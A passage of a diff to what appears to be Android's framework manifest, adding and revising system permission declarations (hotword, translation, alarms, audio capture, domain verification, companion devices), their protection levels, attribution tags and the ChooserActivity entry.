+    <permission android:name="android.permission.BIND_HOTWORD_DETECTION_SERVICE"
+        android:protectionLevel="signature" />
+
+    <!-- @SystemApi Allows an application to manage hotword detection on the device.
+         <p>Protection level: internal|preinstalled
+         @hide This is not a third-party API (intended for OEMs and system apps).
+    -->
+    <permission android:name="android.permission.MANAGE_HOTWORD_DETECTION"
+                android:protectionLevel="internal|preinstalled" />
+
     <!-- Must be required by a {@link android.service.autofill.AutofillService},
          to ensure that only the system can bind to it.
          <p>Protection level: signature
@@ -3533,6 +3829,21 @@
     <permission android:name="android.permission.BIND_CONTENT_CAPTURE_SERVICE"
                 android:protectionLevel="signature" />
 
+    <!-- Must be required by a android.service.translation.TranslationService,
+         to ensure that only the system can bind to it.
+         @SystemApi @hide This is not a third-party API (intended for OEMs and system apps).
+         <p>Protection level: signature
+     -->
+    <permission android:name="android.permission.BIND_TRANSLATION_SERVICE"
+                android:protectionLevel="signature" />
+
+    <!-- @SystemApi Allows apps to use ui translation functions.
+         <p>Protection level: signature|privileged
+         @hide Not for use by third-party applications.
+    -->
+    <permission android:name="android.permission.MANAGE_UI_TRANSLATION"
+                android:protectionLevel="signature|privileged|role" />
+
     <!-- Must be required by a android.service.contentsuggestions.ContentSuggestionsService,
          to ensure that only the system can bind to it.
          @SystemApi @hide This is not a third-party API (intended for OEMs and system apps).
@@ -3541,6 +3852,14 @@
     <permission android:name="android.permission.BIND_CONTENT_SUGGESTIONS_SERVICE"
                 android:protectionLevel="signature" />
 
+    <!-- Must be declared by a android.service.musicrecognition.MusicRecognitionService,
+         to ensure that only the system can bind to it.
+         @SystemApi @hide This is not a third-party API (intended for OEMs and system apps).
+         <p>Protection level: signature
+    -->
+    <permission android:name="android.permission.BIND_MUSIC_RECOGNITION_SERVICE"
+        android:protectionLevel="signature" />
+
     <!-- Must be required by a android.service.autofill.augmented.AugmentedAutofillService,
          to ensure that only the system can bind to it.
          @SystemApi @hide This is not a third-party API (intended for OEMs and system apps).
@@ -3550,14 +3869,14 @@
                 android:protectionLevel="signature" />
 
     <!-- Must be required by a {@link android.service.voice.VoiceInteractionService} implementation
-      to enroll its own sound models. This is a more restrictive permission than the higher-level
-      permission KEYPHRASE_ENROLLMENT_APPLICATION. For the caller to enroll sound models with
-      this permission, it must hold the permission and be the active VoiceInteractionService in
-      the system.
-      {@see Settings.Secure.VOICE_INTERACTION_SERVICE}
-      @hide -->
+         to enroll its own sound models. This is a more restrictive permission than the higher-level
+         permission KEYPHRASE_ENROLLMENT_APPLICATION. For the caller to enroll sound models with
+         this permission, it must hold the permission and be the active VoiceInteractionService in
+         the system.
+         {@see Settings.Secure.VOICE_INTERACTION_SERVICE}
+         @hide -->
     <permission android:name="android.permission.MANAGE_VOICE_KEYPHRASES"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- Must be required by a keyphrase enrollment application, to enroll sound models. This is
          treated as a higher-level permission to MANAGE_VOICE_KEYPHRASES as a caller can enroll
@@ -3566,7 +3885,7 @@
          only.
          @hide <p>Not for use by third-party applications.</p> -->
     <permission android:name="android.permission.KEYPHRASE_ENROLLMENT_APPLICATION"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- Must be required by a {@link com.android.media.remotedisplay.RemoteDisplayProvider},
          to ensure that only the system can bind to it.
@@ -3638,6 +3957,15 @@
          @hide -->
     <permission android:name="android.permission.MEDIA_RESOURCE_OVERRIDE_PID"
          android:protectionLevel="signature" />
+    <uses-permission android:name="android.permission.MEDIA_RESOURCE_OVERRIDE_PID" />
+
+    <!-- This permission is required by Media Resource Observer Service when
+         accessing its registerObserver Api.
+         <p>Protection level: signature|privileged
+         <p>Not for use by third-party applications.
+         @hide -->
+    <permission android:name="android.permission.REGISTER_MEDIA_RESOURCE_OBSERVER"
+         android:protectionLevel="signature|privileged" />
 
     <!-- Must be required by a {@link android.media.routing.MediaRouteService}
          to ensure that only the system can interact with it.
@@ -3677,7 +4005,7 @@
          @hide
     -->
     <permission android:name="android.permission.SET_ORIENTATION"
-        android:protectionLevel="signature" />
+        android:protectionLevel="signature|recents" />
 
     <!-- @SystemApi Allows low-level access to setting the pointer speed.
          <p>Not for use by third-party applications.
@@ -3698,6 +4026,21 @@
     <permission android:name="android.permission.SET_KEYBOARD_LAYOUT"
         android:protectionLevel="signature" />
 
+    <!-- Allows an app to schedule a prioritized alarm that can be used to perform
+         background work even when the device is in doze.
+         <p>Not for use by third-party applications.
+         @hide
+         @SystemApi
+     -->
+    <permission android:name="android.permission.SCHEDULE_PRIORITIZED_ALARM"
+                android:protectionLevel="signature|privileged"/>
+
+    <!-- Allows an app to use exact alarm scheduling APIs to perform timing
+         sensitive background work.
+     -->
+    <permission android:name="android.permission.SCHEDULE_EXACT_ALARM"
+        android:protectionLevel="normal|appop"/>
+
     <!-- Allows an application to query tablet mode state and monitor changes
          in it.
          <p>Not for use by third-party applications.
@@ -3756,6 +4099,22 @@
     <permission android:name="com.android.permission.INSTALL_EXISTING_PACKAGES"
         android:protectionLevel="signature|privileged" />
 
+    <!-- Allows an application to use the package installer v2 APIs.
+         <p>The package installer v2 APIs are still a work in progress and we're
+         currently validating they work in all scenarios.
+         <p>Not for use by third-party applications.
+         @hide
+    -->
+    <permission android:name="com.android.permission.USE_INSTALLER_V2"
+        android:protectionLevel="signature|installer" />
+
+    <!-- Allows an application to use System Data Loaders.
+         <p>Not for use by third-party applications.
+         @hide
+    -->
+    <permission android:name="com.android.permission.USE_SYSTEM_DATA_LOADERS"
+                android:protectionLevel="signature" />
+
     <!-- @SystemApi @TestApi Allows an application to clear user data.
          <p>Not for use by third-party applications
          @hide
@@ -3867,11 +4226,12 @@
     <permission android:name="android.permission.ADJUST_RUNTIME_PERMISSIONS_POLICY"
                 android:protectionLevel="signature|installer" />
 
-    <!-- @hide Allows an application to upgrade runtime permissions. -->
+    <!-- @SystemApi @TestApi Allows an application to upgrade runtime permissions.
+    @hide -->
     <permission android:name="android.permission.UPGRADE_RUNTIME_PERMISSIONS"
                 android:protectionLevel="signature" />
 
-    <!-- @SystemApi Allows an application to whitelist restricted permissions
+    <!-- @SystemApi Allows an application to allowlist restricted permissions
          on any of the whitelists.
     @hide -->
     <permission android:name="android.permission.WHITELIST_RESTRICTED_PERMISSIONS"
@@ -3897,6 +4257,15 @@
     <permission android:name="android.permission.MANAGE_ROLE_HOLDERS"
                 android:protectionLevel="signature|installer" />
 
+    <!-- @SystemApi Allows an application to bypass role qualification. This allows switching role
+         holders to otherwise non eligible holders. Only the shell is allowed to do this, the
+         qualification for the shell role itself cannot be bypassed, and each role needs to
+         explicitly allow bypassing qualification in its definition. The bypass state will not be
+         persisted across reboot.
+     @hide -->
+    <permission android:name="android.permission.BYPASS_ROLE_QUALIFICATION"
+                android:protectionLevel="internal|role" />
+
     <!-- @SystemApi Allows an application to observe role holder changes.
          @hide -->
     <permission android:name="android.permission.OBSERVE_ROLE_HOLDERS"
@@ -3907,6 +4276,18 @@
     <permission android:name="android.permission.MANAGE_COMPANION_DEVICES"
                 android:protectionLevel="signature" />
 
+    <!-- Allows an application to subscribe to notifications about the presence status change
+         of their associated companion device
+         -->
+    <permission android:name="android.permission.REQUEST_OBSERVE_COMPANION_DEVICE_PRESENCE"
+                android:protectionLevel="normal" />
+
+    <!-- Allows an application to create new companion device associations.
+         @SystemApi
+         @hide -->
+    <permission android:name="android.permission.ASSOCIATE_COMPANION_DEVICES"
+        android:protectionLevel="internal|role" />
+
     <!-- @SystemApi Allows an application to use SurfaceFlinger's low level features.
          <p>Not for use by third-party applications.
          @hide
@@ -3914,13 +4295,21 @@
     <permission android:name="android.permission.ACCESS_SURFACE_FLINGER"
         android:protectionLevel="signature" />
 
+    <!-- @SystemApi Allows an application to rotate a surface by arbitrary degree.
+         This is a sub-feature of ACCESS_SURFACE_FLINGER and can be granted in a more concrete way.
+         <p>Not for use by third-party applications.
+         @hide
+    -->
+    <permission android:name="android.permission.ROTATE_SURFACE_FLINGER"
+        android:protectionLevel="signature|recents" />
+
     <!-- Allows an application to take screen shots and more generally
          get access to the frame buffer data.
          <p>Not for use by third-party applications.
           @hide
           @removed -->
     <permission android:name="android.permission.READ_FRAME_BUFFER"
-        android:protectionLevel="signature" />
+        android:protectionLevel="signature|recents" />
 
     <!-- Allows an application to use InputFlinger's low level features.
          @hide -->
@@ -4006,7 +4395,14 @@
          @hide
          @TestApi -->
     <permission android:name="android.permission.OVERRIDE_DISPLAY_MODE_REQUESTS"
-        android:protectionLevel="signature" />
+                android:protectionLevel="signature" />
+
+    <!-- Allows an application to modify the refresh rate switching type. This
+         matches Setting.Secure.MATCH_CONTENT_FRAME_RATE.
+         @hide
+         @TestApi -->
+    <permission android:name="android.permission.MODIFY_REFRESH_RATE_SWITCHING_TYPE"
+                android:protectionLevel="signature" />
 
     <!-- @SystemApi Allows an application to control VPN.
          <p>Not for use by third-party applications.</p>
@@ -4021,12 +4417,20 @@
     <permission android:name="android.permission.CONTROL_ALWAYS_ON_VPN"
         android:protectionLevel="signature" />
 
+    <!-- @SystemApi Allows an application to capture the audio from tuner input devices types,
+     such as FM_TUNER.
+
+     <p>Not for use by third-party applications.</p>
+     @hide -->
+    <permission android:name="android.permission.CAPTURE_TUNER_AUDIO_INPUT"
+                android:protectionLevel="signature|privileged" />
+
     <!-- Allows an application to capture audio output.
          Use the {@code CAPTURE_MEDIA_OUTPUT} permission if only the {@code USAGE_UNKNOWN}),
          {@code USAGE_MEDIA}) or {@code USAGE_GAME}) usages are intended to be captured.
          <p>Not for use by third-party applications.</p> -->
     <permission android:name="android.permission.CAPTURE_AUDIO_OUTPUT"
-        android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged|role" />
 
     <!-- @SystemApi Allows an application to capture the audio played by other apps
          that have set an allow capture policy of
@@ -4044,7 +4448,7 @@
          <p>Not for use by third-party applications.</p>
          @hide -->
     <permission android:name="android.permission.CAPTURE_MEDIA_OUTPUT"
-        android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged|role" />
 
     <!-- @SystemApi Allows an application to capture the audio played by other apps
         with the {@code USAGE_VOICE_COMMUNICATION} usage.
@@ -4062,19 +4466,28 @@
         <p>Not for use by third-party applications.</p>
         @hide -->
     <permission android:name="android.permission.CAPTURE_VOICE_COMMUNICATION_OUTPUT"
-        android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged|role" />
 
     <!-- @SystemApi Allows an application to capture audio for hotword detection.
          <p>Not for use by third-party applications.</p>
          @hide -->
     <permission android:name="android.permission.CAPTURE_AUDIO_HOTWORD"
+        android:protectionLevel="signature|privileged|role" />
+
+    <!-- Puts an application in the chain of trust for sound trigger
+         operations. Being in the chain of trust allows an application to
+         delegate an identity of a separate entity to the sound trigger system
+         and vouch for the authenticity of this identity.
+         <p>Not for use by third-party applications.</p>
+         @hide -->
+    <permission android:name="android.permission.SOUNDTRIGGER_DELEGATE_IDENTITY"
         android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi Allows an application to modify audio routing and override policy decisions.
          <p>Not for use by third-party applications.</p>
          @hide -->
     <permission android:name="android.permission.MODIFY_AUDIO_ROUTING"
-        android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged|role" />
 
     <!-- @TestApi Allows an application to query audio related state.
          @hide -->
@@ -4088,6 +4501,13 @@
     <permission android:name="android.permission.MODIFY_DEFAULT_AUDIO_EFFECTS"
         android:protectionLevel="signature|privileged" />
 
+    <!-- @SystemApi Allows an application to disable system sound effects when the user exits one of
+         the application's activities.
+         <p>Not for use by third-party applications.</p>
+         @hide -->
+    <permission android:name="android.permission.DISABLE_SYSTEM_SOUND_EFFECTS"
+        android:protectionLevel="signature|privileged" />
+
     <!-- @SystemApi Allows an application to provide remote displays.
          <p>Not for use by third-party applications.</p>
          @hide -->
@@ -4153,6 +4573,12 @@
     <permission android:name="android.permission.POWER_SAVER"
         android:protectionLevel="signature|privileged" />
 
+    <!-- Allows providing the system with battery predictions.
+         Superseded by DEVICE_POWER permission. @hide @SystemApi
+    -->
+    <permission android:name="android.permission.BATTERY_PREDICTION"
+        android:protectionLevel="signature|privileged" />
+
    <!-- Allows access to the PowerManager.userActivity function.
    <p>Not for use by third-party applications. @hide @SystemApi -->
     <permission android:name="android.permission.USER_ACTIVITY"
@@ -4169,6 +4595,14 @@
     <permission android:name="android.permission.FACTORY_TEST"
         android:protectionLevel="signature" />
 
+    <!-- @hide @TestApi @SystemApi Allows an application to broadcast the intent {@link
+         android.content.Intent#ACTION_CLOSE_SYSTEM_DIALOGS}.
+         <p>Not for use by third-party applications.
+    -->
+    <permission android:name="android.permission.BROADCAST_CLOSE_SYSTEM_DIALOGS"
+        android:protectionLevel="signature|privileged|recents" />
+    <uses-permission android:name="android.permission.BROADCAST_CLOSE_SYSTEM_DIALOGS" />
+
     <!-- Allows an application to broadcast a notification that an application
          package has been removed.
          <p>Not for use by third-party applications.
@@ -4240,7 +4674,10 @@
          set of pages referenced over time.
          <p>Declaring the permission implies intention to use the API and the user of the
          device can grant permission through the Settings application.
-         <p>Protection level: signature|privileged|appop -->
+         <p>Protection level: signature|privileged|appop
+         <p>A data loader has to be the one which provides data to install an app.
+         <p>A data loader has to have both permission:LOADER_USAGE_STATS AND
+         appop:LOADER_USAGE_STATS allowed to be able to access the read logs. -->
     <permission android:name="android.permission.LOADER_USAGE_STATS"
         android:protectionLevel="signature|privileged|appop" />
     <uses-permission android:name="android.permission.LOADER_USAGE_STATS" />
@@ -4255,7 +4692,7 @@
     <permission android:name="android.permission.CHANGE_APP_IDLE_STATE"
         android:protectionLevel="signature|privileged" />
 
-    <!-- @hide @SystemApi Allows an application to temporarily whitelist an inactive app to
+    <!-- @hide @SystemApi Allows an application to temporarily allowlist an inactive app to
          access the network and acquire wakelocks.
          <p>Not for use by third-party applications. -->
     <permission android:name="android.permission.CHANGE_DEVICE_IDLE_TEMP_WHITELIST"
@@ -4492,6 +4929,26 @@
     <permission android:name="android.permission.BIND_INTENT_FILTER_VERIFIER"
         android:protectionLevel="signature" />
 
+    <!-- @SystemApi @hide Domain verification agent package needs to have this permission before the
+         system will trust it to verify domains.
+
+         TODO(159952358): STOPSHIP: This must be updated to the new "internal" protectionLevel
+    -->
+    <permission android:name="android.permission.DOMAIN_VERIFICATION_AGENT"
+        android:protectionLevel="internal|privileged" />
+
+    <!-- @SystemApi @hide Must be required by the domain verification agent's intent
+         BroadcastReceiver, to ensure that only the system can interact with it.
+    -->
+    <permission android:name="android.permission.BIND_DOMAIN_VERIFICATION_AGENT"
+        android:protectionLevel="signature" />
+
+    <!-- @SystemApi @hide Allows an app like Settings to update the user's grants to what domains
+         an app is allowed to automatically open.
+    -->
+    <permission android:name="android.permission.UPDATE_DOMAIN_VERIFICATION_USER_SELECTION"
+        android:protectionLevel="signature" />
+
     <!-- @SystemApi Allows applications to access serial ports via the SerialManager.
          @hide -->
     <permission android:name="android.permission.SERIAL_PORT"
@@ -4517,7 +4974,7 @@
          User permission is still required before access is granted.
          @hide -->
     <permission android:name="android.permission.REQUEST_NOTIFICATION_ASSISTANT_SERVICE"
-                android:protectionLevel="signature|privileged" />
+                android:protectionLevel="signature|privileged|role" />
 
     <!-- @SystemApi @TestApi Allows an application to read the current set of notifications, including
          any metadata and intents attached.
@@ -4540,6 +4997,12 @@
     <permission android:name="android.permission.MANAGE_NOTIFICATIONS"
                 android:protectionLevel="signature" />
 
+    <!-- @SystemApi @TestApi Allows adding/removing enabled notification listener components.
+        @hide -->
+    <permission android:name="android.permission.MANAGE_NOTIFICATION_LISTENERS"
+                android:protectionLevel="signature|installer" />
+    <uses-permission android:name="android.permission.MANAGE_NOTIFICATION_LISTENERS" />
+
     <!-- Allows notifications to be colorized
          <p>Not for use by third-party applications. @hide -->
     <permission android:name="android.permission.USE_COLORIZED_NOTIFICATIONS"
@@ -4568,6 +5031,12 @@
     <permission android:name="android.permission.RESET_FINGERPRINT_LOCKOUT"
         android:protectionLevel="signature" />
 
+    <!-- Allows access to TestApis for various components in the biometric stack, including
+         FingerprintService, FaceService, BiometricService. Used by com.android.server.biometrics
+         CTS tests. @hide @TestApi -->
+    <permission android:name="android.permission.TEST_BIOMETRIC"
+        android:protectionLevel="signature" />
+
     <!-- Allows direct access to the <Biometric>Service interfaces. Reserved for the system. @hide -->
     <permission android:name="android.permission.MANAGE_BIOMETRIC"
         android:protectionLevel="signature" />
@@ -4580,10 +5049,6 @@
     <permission android:name="android.permission.MANAGE_BIOMETRIC_DIALOG"
         android:protectionLevel="signature" />
 
-    <!-- Allows an app to reset face authentication attempt counter. Reserved for the system. @hide -->
-    <permission android:name="android.permission.RESET_FACE_LOCKOUT"
-        android:protectionLevel="signature" />
-
     <!-- Allows an application to control keyguard.  Only allowed for system processes.
         @hide -->
     <permission android:name="android.permission.CONTROL_KEYGUARD"
@@ -4804,6 +5269,12 @@
     <permission android:name="android.permission.HANDLE_CAR_MODE_CHANGES"
                 android:protectionLevel="signature|privileged" />
 
+    <!-- @SystemApi Allows the holder to send category_car notifications.
+        @hide -->
+    <permission
+        android:name="android.permission.SEND_CATEGORY_CAR_NOTIFICATIONS"
+        android:protectionLevel="signature|privileged" />
+
     <!-- The system process is explicitly the only one allowed to launch the
          confirmation UI for full backup/restore -->
     <uses-permission android:name="android.permission.CONFIRM_FULL_BACKUP"/>
@@ -4811,7 +5282,7 @@
     <!-- @SystemApi Allows the holder to access and manage instant applications on the device.
          @hide -->
     <permission android:name="android.permission.ACCESS_INSTANT_APPS"
-            android:protectionLevel="signature|installer|verifier|wellbeing" />
+            android:protectionLevel="signature|installer|verifier|role" />
     <uses-permission android:name="android.permission.ACCESS_INSTANT_APPS"/>
 
     <!-- Allows the holder to view the instant applications on the device.
@@ -4837,7 +5308,14 @@
          @hide
          @SystemApi -->
     <permission android:name="android.permission.MANAGE_SOUND_TRIGGER"
-        android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged|role" />
+
+    <!-- Must be required by system/priv apps to run sound trigger recognition sessions while in
+         battery saver mode.
+         @hide
+         @SystemApi -->
+    <permission android:name="android.permission.SOUND_TRIGGER_RUN_IN_BATTERY_SAVER"
+                android:protectionLevel="signature|privileged" />
 
     <!-- Must be required by system/priv apps implementing sound trigger detection services
          @hide
@@ -4886,7 +5364,7 @@
     <permission android:name="android.permission.ACCESS_VR_STATE"
         android:protectionLevel="signature|preinstalled" />
 
-    <!-- Allows an application to whitelist tasks during lock task mode
+    <!-- Allows an application to allowlist tasks during lock task mode
          @hide <p>Not for use by third-party applications.</p> -->
     <permission android:name="android.permission.UPDATE_LOCK_TASK_PACKAGES"
         android:protectionLevel="signature|setup" />
@@ -4912,15 +5390,40 @@
     <permission android:name="android.permission.MANAGE_CONTENT_CAPTURE"
         android:protectionLevel="signature" />
 
+    <!-- @SystemApi Allows an application to manager the rotation resolver service.
+         @hide <p>Not for use by third-party applications.</p> -->
+    <permission android:name="android.permission.MANAGE_ROTATION_RESOLVER"
+        android:protectionLevel="signature"/>
+
+    <!-- @SystemApi Allows an application to manage the music recognition service.
+         @hide  <p>Not for use by third-party applications.</p> -->
+    <permission android:name="android.permission.MANAGE_MUSIC_RECOGNITION"
+        android:protectionLevel="signature|privileged|role" />
+
+    <!-- @SystemApi Allows an application to manage speech recognition service.
+     @hide  <p>Not for use by third-party applications.</p> -->
+    <permission android:name="android.permission.MANAGE_SPEECH_RECOGNITION"
+        android:protectionLevel="signature" />
+
     <!-- @SystemApi Allows an application to manage the content suggestions service.
          @hide  <p>Not for use by third-party applications.</p> -->
     <permission android:name="android.permission.MANAGE_CONTENT_SUGGESTIONS"
-         android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- @SystemApi Allows an application to manage the app predictions service.
          @hide  <p>Not for use by third-party applications.</p> -->
     <permission android:name="android.permission.MANAGE_APP_PREDICTIONS"
-         android:protectionLevel="signature|appPredictor" />
+        android:protectionLevel="signature|appPredictor|role" />
+
+    <!-- @SystemApi Allows an application to manage the search ui service.
+     @hide  <p>Not for use by third-party applications.</p> -->
+    <permission android:name="android.permission.MANAGE_SEARCH_UI"
+        android:protectionLevel="signature|role" />
+
+    <!-- @SystemApi Allows an application to manage the smartspace service.
+     @hide  <p>Not for use by third-party applications.</p> -->
+    <permission android:name="android.permission.MANAGE_SMARTSPACE"
+        android:protectionLevel="signature" />
 
     <!-- Allows an app to set the theme overlay in /vendor/overlay
          being used.
@@ -4945,12 +5448,12 @@
     <!-- @SystemApi Allows to access all app shortcuts.
          @hide -->
     <permission android:name="android.permission.ACCESS_SHORTCUTS"
-        android:protectionLevel="signature|appPredictor" />
+        android:protectionLevel="signature|appPredictor|role" />
 
     <!-- @SystemApi Allows unlimited calls to shortcut mutation APIs.
          @hide -->
     <permission android:name="android.permission.UNLIMITED_SHORTCUTS_API_CALLS"
-        android:protectionLevel="signature|appPredictor" />
+        android:protectionLevel="signature|appPredictor|role" />
 
     <!-- @SystemApi Allows an application to read the runtime profiles of other apps.
          @hide <p>Not for use by third-party applications. -->
@@ -4964,7 +5467,7 @@
     <!-- @SystemApi Allows an application to turn on / off quiet mode.
          @hide -->
     <permission android:name="android.permission.MODIFY_QUIET_MODE"
-                android:protectionLevel="signature|privileged|wellbeing|development" />
+                android:protectionLevel="signature|privileged|development" />
 
     <!-- Allows internal management of the camera framework
          @hide -->
@@ -4982,12 +5485,6 @@
     <permission android:name="android.permission.WATCH_APPOPS"
         android:protectionLevel="signature|privileged" />
 
-    <!-- Allows an application to directly open the "Open by default" page inside a package's
-         Details screen.
-         @hide <p>Not for use by third-party applications. -->
-    <permission android:name="android.permission.OPEN_APP_OPEN_BY_DEFAULT_SETTINGS"
-                android:protectionLevel="signature" />
-
     <!-- Allows hidden API checks to be disabled when starting a process.
          @hide <p>Not for use by third-party applications. -->
     <permission android:name="android.permission.DISABLE_HIDDEN_API_CHECKS"
@@ -5031,7 +5528,7 @@
     <!-- @SystemApi Allows modifying accessibility state.
          @hide -->
     <permission android:name="android.permission.MANAGE_ACCESSIBILITY"
-        android:protectionLevel="signature|setup" />
+        android:protectionLevel="signature|setup|recents" />
 
     <!-- @SystemApi Allows an app to grant a profile owner access to device identifiers.
          <p>Not for use by third-party applications.
@@ -5047,7 +5544,8 @@
                 android:protectionLevel="signature" />
 
     <!-- Allows financial apps to read filtered sms messages.
-         Protection level: signature|appop  -->
+         Protection level: signature|appop
+         @deprecated The API that used this permission is no longer functional.  -->
     <permission android:name="android.permission.SMS_FINANCIAL_TRANSACTIONS"
         android:protectionLevel="signature|appop" />
 
@@ -5056,6 +5554,8 @@
          intents}.
          <p>Protection level: normal -->
     <permission android:name="android.permission.USE_FULL_SCREEN_INTENT"
+                android:label="@string/permlab_fullScreenIntent"
+                android:description="@string/permdesc_fullScreenIntent"
                 android:protectionLevel="normal" />
 
     <!-- @SystemApi Allows requesting the framework broadcast the
@@ -5079,6 +5579,12 @@
          @hide -->
     <permission android:name="android.permission.MANAGE_SENSOR_PRIVACY"
                 android:protectionLevel="signature" />
+
+    <!-- @SystemApi Allows sensor privacy changes to be observed.
+         @hide -->
+    <permission android:name="android.permission.OBSERVE_SENSOR_PRIVACY"
+                android:protectionLevel="signature|installer" />
+
     <!-- @SystemApi Permission that protects the {@link Intent#ACTION_REVIEW_ACCESSIBILITY_SERVICES}
          intent.
          @hide -->
@@ -5118,13 +5624,14 @@
 
     <!-- Allows input events to be monitored. Very dangerous!  @hide -->
     <permission android:name="android.permission.MONITOR_INPUT"
-                android:protectionLevel="signature" />
+                android:protectionLevel="signature|recents" />
     <!--  Allows the caller to change the associations between input devices and displays.
         Very dangerous! @hide -->
     <permission android:name="android.permission.ASSOCIATE_INPUT_DEVICE_TO_DISPLAY_BY_PORT"
                 android:protectionLevel="signature" />
 
-    <!-- Allows query of any normal app on the device, regardless of manifest declarations. -->
+    <!-- Allows query of any normal app on the device, regardless of manifest declarations.
+        <p>Protection level: normal -->
     <permission android:name="android.permission.QUERY_ALL_PACKAGES"
                 android:protectionLevel="normal" />
     <uses-permission android:name="android.permission.QUERY_ALL_PACKAGES"/>
@@ -5156,13 +5663,110 @@
     <permission android:name="android.permission.ACCESS_LOCUS_ID_USAGE_STATS"
                 android:protectionLevel="signature|appPredictor" />
 
+    <!-- @hide @SystemApi Allows an application to manage app hibernation state. -->
+    <permission android:name="android.permission.MANAGE_APP_HIBERNATION"
+        android:protectionLevel="signature|installer" />
+
+    <!-- @hide @TestApi Allows apps to reset the state of {@link com.android.server.am.AppErrors}.
+         <p>CTS tests will use UiAutomation.adoptShellPermissionIdentity() to gain access.  -->
+    <permission android:name="android.permission.RESET_APP_ERRORS"
+        android:protectionLevel="signature" />
+
     <!-- @hide Allows an application to create/destroy input consumer. -->
     <permission android:name="android.permission.INPUT_CONSUMER"
                 android:protectionLevel="signature" />
 
-    <!-- @hide @SystemApi Allows the holder to manage app hibernation states for packages -->
-    <permission android:name="android.permission.MANAGE_APP_HIBERNATION"
-                android:protectionLevel="signature|installer" />
+    <!-- @hide @TestApi Allows an application to control the system's device state managed by the
+         {@link android.service.devicestate.DeviceStateManagerService}. For example, on foldable
+         devices this would grant access to toggle between the folded and unfolded states. -->
+    <permission android:name="android.permission.CONTROL_DEVICE_STATE"
+                android:protectionLevel="signature" />
+
+    <!-- Must be required by a
+        {@link android.service.displayhash.DisplayHasherService}
+        to ensure that only the system can bind to it.
+        @hide This is not a third-party API (intended for OEMs and system apps).
+    -->
+    <permission android:name="android.permission.BIND_DISPLAY_HASHER_SERVICE"
+        android:protectionLevel="signature" />
+
+    <!-- @hide @TestApi Allows an application to enable/disable toast rate limiting.
+         <p>Not for use by third-party applications.
+    -->
+    <permission android:name="android.permission.MANAGE_TOAST_RATE_LIMITING"
+                android:protectionLevel="signature" />
+
+    <!-- Allows managing the Game Mode
+     @hide Used internally. -->
+    <permission android:name="android.permission.MANAGE_GAME_MODE"
+                android:protectionLevel="signature" />
+
+    <!-- @SystemApi Allows the holder to register callbacks to inform the RebootReadinessManager
+         when they are performing reboot-blocking work.
+         @hide -->
+    <permission android:name="android.permission.SIGNAL_REBOOT_READINESS"
+                android:protectionLevel="signature|privileged" />
+
+    <!-- @hide Allows an application to get a People Tile preview for a given shortcut. -->
+    <permission android:name="android.permission.GET_PEOPLE_TILE_PREVIEW"
+        android:protectionLevel="signature|recents" />
+
+    <!-- @hide @SystemApi Allows an application to retrieve whether shortcut is backed by a
+         Conversation.
+         TODO(b/180412052): STOPSHIP: Define a role so it can be granted to Shell and AiAi. -->
+    <permission android:name="android.permission.READ_PEOPLE_DATA"
+                android:protectionLevel="signature|appPredictor|recents"/>
+
+    <!-- @hide @SystemApi Allows a logical component within an application to
+         temporarily renounce a set of otherwise granted permissions. -->
+    <permission android:name="android.permission.RENOUNCE_PERMISSIONS"
+                android:protectionLevel="signature|privileged" />
+
+    <!-- Allows an application to read nearby streaming policy. The policy allows the device
+         to stream its notifications and apps to nearby devices.
+         @hide -->
+    <permission android:name="android.permission.READ_NEARBY_STREAMING_POLICY"
+        android:protectionLevel="signature|privileged" />
+
+    <!-- @SystemApi Allows the holder to set the source of the data when setting a clip on the
+         clipboard.
+         @hide -->
+    <permission android:name="android.permission.SET_CLIP_SOURCE"
+                android:protectionLevel="signature|recents" />
+
+    <!-- Allows an application to indicate via
+         {@link android.content.pm.PackageInstaller.SessionParams#setRequireUserAction(boolean)}
+         that user action should not be required for an app update.
+         <p>Protection level: normal
+    -->
+    <permission android:name="android.permission.UPDATE_PACKAGES_WITHOUT_USER_ACTION"
+                android:protectionLevel="normal" />
+    <uses-permission android:name="android.permission.UPDATE_PACKAGES_WITHOUT_USER_ACTION"/>
+
+    <!-- Attribution for Geofencing service. -->
+    <attribution android:tag="GeofencingService" android:label="@string/geofencing_service"/>
+    <!-- Attribution for Country Detector. -->
+    <attribution android:tag="CountryDetector" android:label="@string/country_detector"/>
+    <!-- Attribution for Location service. -->
+    <attribution android:tag="LocationService" android:label="@string/location_service"/>
+    <!-- Attribution for Gnss service. -->
+    <attribution android:tag="GnssService" android:label="@string/gnss_service"/>
+    <!-- Attribution for Sensor Notification service. -->
+    <attribution android:tag="SensorNotificationService"
+             android:label="@string/sensor_notification_service"/>
+    <!-- Attribution for Twilight service. -->
+    <attribution android:tag="TwilightService" android:label="@string/twilight_service"/>
+    <!-- Attribution for the Offline LocationTimeZoneProvider, used to detect time zone using
+         on-device data -->
+    <attribution android:tag="OfflineLocationTimeZoneProviderService"
+                 android:label="@string/offline_location_time_zone_detection_service_attribution"/>
+    <!-- Attribution for Gnss Time Update service. -->
+    <attribution android:tag="GnssTimeUpdateService"
+                 android:label="@string/gnss_time_update_service"/>
+    <!-- Attribution for MusicRecognitionManagerService.
+         <p>Not for use by third-party applications.</p> -->
+    <attribution android:tag="MusicRecognitionManagerService"
+        android:label="@string/music_recognition_manager_service"/>
 
     <application android:process="system"
                  android:persistent="true"
@@ -5178,21 +5782,22 @@
                  android:forceQueryable="true"
                  android:directBootAware="true">
         <activity android:name="com.android.internal.app.ChooserActivity"
-                android:theme="@style/Theme.DeviceDefault.Resolver"
+                android:theme="@style/Theme.DeviceDefault.Chooser"
                 android:finishOnCloseSystemDialogs="true"
                 android:excludeFromRecents="true"
                 android:documentLaunchMode="never"
                 android:relinquishTaskIdentity="true"
                 android:configChanges="screenSize|smallestScreenSize|screenLayout|orientation|keyboard|keyboardHidden"
                 android:process=":ui"
+                android:exported="true"
                 android:visibleToInstantApps="true">
-            <intent-filter>
+            <intent-filter android:priority="100">
                 <action android:name="android.intent.action.CHOOSER" />
                 <category android:name="android.intent.category.DEFAULT" />
                 <category android:name="android.intent.category.VOICE" />
             </intent-filter>
         </activity>
